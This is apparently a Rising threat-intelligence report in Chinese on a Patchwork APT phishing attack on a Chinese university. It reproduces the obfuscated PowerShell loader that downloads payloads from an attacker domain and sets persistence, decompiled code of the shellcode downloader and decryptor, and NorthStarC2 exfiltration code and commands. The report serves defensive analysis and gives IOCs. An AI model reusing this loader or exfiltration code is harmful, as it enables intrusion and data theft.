概述
瑞星威胁情报平台于近期捕获到一起针对国内高校的攻击事件,攻击者使用伪装成pdf
文档的快捷方式作为钓鱼文档,当用户双击钓鱼文档时,会执行内置的PowerShell
命令,从远程的服务器下载诱饵文档和恶意程序,接着创建计划任务实现恶意程序的持久化,恶意程序会从服务器上下载并执行开源工具Donut
生成的ShellCode
,ShellCode
会解密出最终的NorthStarC2
后门。此次攻击事件和我们在去年12月发布的Patchwork
组织针对我国的新能源行业的攻击事件具有高度的相似性,因此将本次捕获到的攻击行动归属于Patchwork
组织。
Patchwork
组织,又名摩诃草
、白象
、APT-Q-36
、Dropping Elephant
,是一个疑似具有南亚某政府背景的APT
组织,其最早攻击活动可追溯到2009年,至今依然活跃。该组织主要针对中国、巴基斯坦、孟加拉国等亚洲地区国家,以政府、军事、电力、工业、科研教育、外交和经济等高价值机构为攻击目标。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
执行powershell 命令 |
TA0002 -执行 |
T1204 -用户执行 |
需要用户主动执行 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
创建计划任务定期启动恶意程序实现本地持久化 |
TA0005 -防御规避 |
T1036 -伪装 |
修改图标快捷方式伪装成pdf 文档 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
恶意载荷编码混淆后内嵌在执行文件内 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
获取指定路径下目录和文件信息 |
TA0007 -环境发现 |
T1057 -收集进程信息 |
收集被入侵主机的进程列表 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
收集被入侵主机的操作系统和硬件信息 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
收集被入侵主机的MAC 地址和IP 地址 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
收集被入侵主机的用户名 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
获取屏幕截图 |
TA0011 -指挥与控制 |
T1573 -加密通道 |
通过加密算法来隐藏命令和控制流量 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送收集到的受害者机器信息 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
C2通道同时可以接收木马回传的受害者机器信息 |
攻击事件详情
本次攻击事件是针对国内一所知名的高校,其使用了高校在5月份发布的一份通告作为诱饵文档从而实施攻击,目的很可能是为了窃取高校中的机密文件。
诱饵文档内容
攻击流程
攻击流程图
样本分析
1. 初始文件:2023120314221759826.pdf.lnk
字段 | 内容 |
---|---|
文件大小 | 3.92 KB (4014 bytes) |
文件MD5 | b123c3d4f35813d0e1dcb65880cdf007 |
文件类型 | LNK |
病毒名 | Downloader.PowerShell/LNK!1.FE64 |
主要功能 | 下载文件 |
攻击者通过修改文件名和文件图标将作为初始攻击武器的快捷方式伪装成pdf
文档,当用户点击快捷方式则会调用powershell.exe
来执行内嵌的powershell
命令,其中部分重要的指令做了简单的混淆处理,以逃避传统的字符串检测。powershell
命令的功能是从hxxps://guangzhou.nihaoucloud.org/gsdgsd89iop/sdfger23ty
下载诱饵文件到C:\Users\Public
目录下,并且执行下载的诱饵文档来迷惑用户;同时还会从hxxps://guangzhou.nihaoucloud.org/nmityu89op/uiop9ty0er
下载一个ISO文件,之后会挂载ISO文件,把E盘中的恶意文件都复制到C:\Windows\Tasks\
目录下,创建一个名为EdgeUpdateTask
的计划任务来实现恶意文件的持久化。
powershell
命令:
$ProgressPreference = 'SilentlyContinue';
i''w''r https://guangzhou.nihaoucloud.org/gsdgsd89iop/sdfger23ty -OutFile C:\Users\Public\21333.pdf;
s''a''p''s C:\Users\Public\21333.pdf;
i''w''r https://guangzhou.nihaoucloud.org/nmityu89op/uiop9ty0er -OutFile "C:\Windows\Tasks\Windows_22H.iso";
$hi = m''ou''nt-di''skim''age -im C:\Windows\Tasks\Windows_22H.iso;
$d = (g''et-d''iski''mage $hi.imagepath | g''et-v''olu''me).DriveLetter;
c''p''i E:\* C:\Windows\Tasks\;c''p''i 'C:\Users\Public\21333.pdf' -destination .;
sch''ta''s''ks /c''r''e''a''te /Sc minute /Tn EdgeUpdateTask /tr 'C:\Windows\Tasks\Winver';
Di''smou''nt-Dis''kIm''age -im C:\Windows\Tasks\Windows_22H.iso;
e''ra''se C:\Windows\Tasks\*.i?o;
e''r''a''s''e *d?.?n?
2. ShellCode下载器:Winver.exe
字段 | 内容 |
---|---|
原始文件名 | Winver.exe |
文件大小 | 2.19 MB (2298368 bytes) |
文件MD5 | 832c4a646713f12cc1d21609ac5f25b7 |
文件类型 | EXE |
病毒名 | Downloader.[Patchwork]Agent!1.FDAB |
主要功能 | 下载并执行ShellCode |
该程序是由rust
语言编写的一个下载器,由计划任务启动执行后,会从hxxps://guangzhou.nihaoucloud.org/sturye34opl
下载名为hytda32.bin
的ShellCode
,把下载的ShellCode
复制到VirtualAlloc
函数申请的空间中,创建一个纤程执行ShellCode
。
v631[0] = (volatile signed __int64 *)v63;
v631[1] = (volatile signed __int64 *)30;
v632 = 0;
sub_1401213D0(v624, "https://guangzhou.nihaoucloud.org/sturye34opl/hytda32.bin [-]VirtualProtect failed: ", 58i64);
*(_QWORD *)&v67 = v624[0].m128i_i64[0];
v68 = 0x8000000000000000ui64;
v69 = __OFSUB__(v624[0].m128i_i64[0], 0x8000000000000000ui64);
v361 = ConvertThreadToFiber(0i64);
v362 = VirtualAlloc(0i64, v350.m128i_u64[0], 0x3000u, 4u);
v643[0].m128i_i32[0] = 4;
memmove(v362, (const void *)v533, v350.m128i_u64[0]);
if ( !VirtualProtect(v362, v350.m128i_u64[0], 0x10u, (PDWORD)v643) )
{
v613[0].m128i_i32[0] = GetLastError();
v636[0] = v613;
v636[1] = sub_140014950;
v624[0].m128i_i64[0] = (__int64)&off_140176B70;
v624[0].m128i_i64[1] = 2i64;
v624[2].m128i_i64[0] = 0i64;
v624[1].m128i_i64[0] = (__int64)v636;
v624[1].m128i_i64[1] = 1i64;
sub_14016BD20((__int64)v624, (__int64)&off_140176B90);
}
Fiber = CreateFiber(0i64, (LPFIBER_START_ROUTINE)v362, 0i64);
SwitchToFiber(Fiber);
SwitchToFiber(v361);
if ( v350.m128i_i64[0] )
HeapFree(hHeap, 0, (LPVOID)v533);
return;
3. ShellCode:DonutLoader
字段 | 内容 |
---|---|
原始文件名 | hytda32.bin |
文件大小 | 56.96 KB (58325 bytes) |
文件MD5 | 94b75ac25fe7a2ca189418413f4b6699 |
病毒名 | Trojan.DonutLoader!1.E39F |
主要功能 | 内存执行远控木马 |
内存中执行的ShellCode
是由开源项目Donut
生成,该工具支持将.net
程序集转换为一段可在内存任意位置执行的ShellCode
。
解码算法如下,使用内嵌的两个密钥经过计算得到最终的解码密钥,最后循环解码数据。
if ( a4 )
{
v4 = a1 - (_QWORD)v26;
do
{
if ( v26 > (_OWORD *)((char *)a2 + 15) || (_OWORD *)((char *)v26 + 15) < a2 )
v26[0] = *a2;
else
v26[0] = *a2;
v6 = v26;
v7 = 4i64;
do
{
*v6 ^= *(_DWORD *)((char *)v6 + v4);
++v6;
--v7;
}
while ( v7 );
v8 = HIDWORD(v26[0]);
v9 = 16i64;
v10 = DWORD2(v26[0]);
v11 = DWORD1(v26[0]);
v12 = v26[0];
do
{
v13 = v11 + v12;
v14 = v8 + v10;
v15 = v13 ^ __ROL4__(v11, 5);
v16 = v14 ^ __ROL4__(v8, 8);
v17 = v15 + v14;
v12 = v16 + __ROL4__(v13, 16);
v11 = v17 ^ __ROL4__(v15, 7);
v8 = v12 ^ __ROL4__(v16, 13);
v10 = __ROL4__(v17, 16);
--v9;
}
while ( v9 );
HIDWORD(v26[0]) = v8;
v18 = 4i64;
*(_QWORD *)&v26[0] = __PAIR64__(v11, v12);
v19 = v26;
DWORD2(v26[0]) = v10;
do
{
*v19 ^= *(_DWORD *)((char *)v19 + v4);
++v19;
--v18;
}
while ( v18 );
v20 = a4;
if ( a4 > 0x10 )
v20 = 16;
v21 = a3;
v22 = v20;
do
{
*v21 ^= v21[(char *)v26 - a3];
++v21;
--v22;
}
while ( v22 );
a4 -= v20;
v23 = 16;
a3 += v20;
do
{
v24 = (unsigned int)(v23 - 1);
if ( (*((_BYTE *)a2 + v24))++ != 0xFF )
break;
--v23;
}
while ( v23 > 0 );
}
while ( a4 );
}
解码后使用函数CoCreateInstance
和CorBindToRuntime
在非托管的程序中实例化CLR
托管接口,最终加载执行.net
程序集。
4. NorthStarC2后门:Toolthless.exe
字段 | 内容 |
---|---|
原始文件名 | Toolthless.exe |
文件大小 | 27.5 KB (28,160 bytes) |
文件MD5 | d57a44202a5b3155bd91ecf13ec4e726 |
文件类型 | EXE |
病毒名 | Backdoor.NorthStar!1.E66A |
主要功能 | 远控木马 |
NorthStarC2
是一个开源的命令和控制框架,其主要的功能是上传主机相关的信息,执行下发的指令。
_registerSecondStage
函数会获取受害机的MAC地址和主机名,公网IP,UserName,当前进程PID,当前路径等数据,把获取到的数据进行Base64编码后再进行RC4加密,再次进行Base64编码,把编码后的数据分别与指定的字符进行拼接,最后发送请求。
string text = new processCommand(enumed).ipd();
initialEnum abc = enumed;
string uqid = enumed.uqid;
OperatingSystem osversion = Environment.OSVersion;
string text2 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.os, enumed.xorKey)));
string text3 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.macname, enumed.xorKey)));
string text4 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.usname, enumed.xorKey)));
string text5 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.exepath, enumed.xorKey)));
string text6 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.admin.ToString(), enumed.xorKey)));
string text7 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.procid.ToString(), enumed.xorKey)));
string text8 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.clientID, "eOvstoxSBbZGWsTtknc")));
string text9 = this.lo.hello(this.chiperObj._base64encode (this.chiperObj._xorOps(text, "eOvstoxSBbZGWsTtknc")));
拼接的字符对应的信息如下表:
字符 | 内容 |
---|---|
uqid | uuid |
os | 系统的信息 |
macnm | MAC地址和主机名 |
users | UserName |
wdir | 当前所在路径 |
procid | 当前PID |
admi | 是否是管理员权限 |
simpleid | 客户端ID |
ippublic | 当前设备的公网 IP 地址 |
然后会获取服务端发送过来的指令,使用自定义的解密算法对数据进行解密,再使用base64进行解码得到要执行的指令。
其指令功能表如下:
指令 | 功能 |
---|---|
die | 结束客户端运行 |
ping | 返回字符串"pong" |
pwd | 获取当前工作目录 |
cd | 设置指定的新工作目录 |
rm、del | 删除指定文件 |
whoami | 获取当前用户名 |
dir、ls | 枚举工作目录中的文件 |
ipconfig、ifconfig | 获取IP地址 |
cat、type | 获取指定文件内容 |
waittime、wait、responsetime、timer | 设置睡眠时间 |
screenshot、schot | 屏幕截屏 |
upload、uploadfile | 下载文件 |
ps、process、processes | 获取进程列表 |
enabledcmd、enable、cmd | 启动命令行模式 |
inmen | 内存中执行服务器传输的ShellCode |
download、get | 上传本地文件 |
downexe | 执行服务器下载的exe程序 |
lksfjdgjkxv | 执行接收的cmd命令 |
关联分析
关联事件
这次的攻击事件和去年12月份我们报道Patchwork对国内新能源行业攻击事件的手法很相似,都是以.lnk
文件进行钓鱼,最终使用NorthStarC2
后门执行相应的指令。其不同之处在于第二阶段ShellCode
的获取,去年是以解密内置资源的方式得到ShellCode
,而本次是从第一阶段服务器上直接下载ShellCode
之后在内存中执行。
攻击过程可视化(EDR)
瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。
因为服务器已经失效,所以可视化攻击流程分为多个部分。
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
b123c3d4f35813d0e1dcb65880cdf007 832c4a646713f12cc1d21609ac5f25b7 94b75ac25fe7a2ca189418413f4b6699 d57a44202a5b3155bd91ecf13ec4e726
-
URL
hxxps://guangzhou.nihaoucloud.org/gsdgsd89iop/sdfger23ty hxxps://guangzhou.nihaoucloud.org/nmityu89op/uiop9ty0er hxxps://guangzhou.nihaoucloud.org/sturye34opl/hytda32.bin hxxps://remitmetahk.org/Z3JV1zIm5nMjVss/Sf7RkFIMei1oosX.php
-
Domain
guangzhou.nihaoucloud.org remitmetahk.org
-
瑞星病毒名
Downloader.[Patchwork]Agent!1.FDAB